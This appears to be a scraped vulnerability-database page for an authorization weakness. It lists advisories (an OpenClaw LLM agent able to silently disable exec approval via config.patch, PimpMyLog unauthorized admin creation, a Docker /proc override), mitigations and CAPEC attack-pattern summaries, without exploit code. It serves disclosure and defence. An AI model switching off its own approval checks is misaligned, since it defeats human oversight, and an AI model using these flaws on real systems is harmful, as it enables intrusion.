  "details": "## Summary\nAgentic Consent Bypass: LLM Agent Can Silently Disable Exec Approval via `config.patch`\n\n## Current Maintainer Triage\n- Status: open\n- Normalized severity: high\n- Assessment: Maintainers accepted this issue, fixed it in 76411b2afc4ae721e36c12e0ea24fd23e2fed61e on 2026-03-27, and that fix shipped in v2026.3.28, so normalize it as a fixed released draft rather than a close-by-trust-model call.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version: `2026.3.31`\n- Vulnerable version range: `\u003c=2026.3.24`\n- Patched versions: `\u003e= 2026.3.28`\n- First stable tag containing the fix: `v2026.3.28`\n\n## Fix Commit(s)\n- `76411b2afc4ae721e36c12e0ea24fd23e2fed61e` \u2014 2026-03-27T09:42:15Z\n\nOpenClaw thanks @YLChen-007 for reporting.",
  "id": "GHSA-v3qc-wrwx-j3pw",
  "modified": "2026-04-03T03:03:19Z",
  "published": "2026-04-03T03:03:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-v3qc-wrwx-j3pw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/76411b2afc4ae721e36c12e0ea24fd23e2fed61e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Agentic Consent Bypass \u2014 LLM Agent Can Silently Disable Exec Approval via `config.patch`"
}

GHSA-V3R2-Q367-CJQR

Vulnerability from github – Published: 2025-12-16 18:31 – Updated: 2025-12-16 18:31
VLAI
Details

PimpMyLog 1.7.14 contains an improper access control vulnerability that allows remote attackers to create admin accounts without authorization through the configuration endpoint. Attackers can exploit the unsanitized username field to inject malicious JavaScript, create a hidden backdoor account, and potentially access sensitive server-side log information and environmental variables.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-53895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-16T17:16:01Z",
    "severity": "CRITICAL"
  },
  "details": "PimpMyLog 1.7.14 contains an improper access control vulnerability that allows remote attackers to create admin accounts without authorization through the configuration endpoint. Attackers can exploit the unsanitized username field to inject malicious JavaScript, create a hidden backdoor account, and potentially access sensitive server-side log information and environmental variables.",
  "id": "GHSA-v3r2-q367-cjqr",
  "modified": "2025-12-16T18:31:34Z",
  "published": "2025-12-16T18:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53895"
    },
    {
      "type": "WEB",
      "url": "https://github.com/potsky/PimpMyLog"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/51593"
    },
    {
      "type": "WEB",
      "url": "https://www.pimpmylog.com"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/pimpmylog-improper-access-control-via-account-creation-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-V4H8-794J-G8MM

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2024-07-08 15:53
VLAI
Summary
Arbitrary File Override in Docker Engine
Details

Docker Engine before 1.6.1 allows local users to set arbitrary Linux Security Modules (LSM) and docker_t policies via an image that allows volumes to override files in /proc.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/docker/docker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2015-3631"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-19T22:04:37Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Docker Engine before 1.6.1 allows local users to set arbitrary Linux Security Modules (LSM) and docker_t policies via an image that allows volumes to override files in /proc.",
  "id": "GHSA-v4h8-794j-g8mm",
  "modified": "2024-07-08T15:53:58Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3631"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moby/moby"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moby/moby/compare/769acfec2928c47a35da5357d854145b1036448d...b6a9dc399be31c531e3753104e10d74760ed75a2"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#!searchin/docker-user/1.6.1/docker-user/47GZrihtr-4/nwgeOOFLexIJ"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#%21searchin/docker-user/1.6.1/docker-user/47GZrihtr-4/nwgeOOFLexIJ"
    },
    {
      "type": "WEB",
      "url": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3631"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2015-05/msg00023.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/131835/Docker-Privilege-Escalation-Information-Disclosure.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2015/May/28"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arbitrary File Override in Docker Engine"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-104: Cross Zone Scripting

An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-39: Manipulating Opaque Client-based Data Tokens

In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.

CAPEC-402: Bypassing ATA Password Security

An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.

CAPEC-45: Buffer Overflow via Symbolic Links

This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.

CAPEC-5: Blue Boxing

This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.

{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}

CAPEC-51: Poison Web Service Registry

SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-647: Collect Data from Registries

An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.

CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)

An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

CAPEC-87: Forceful Browsing

An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.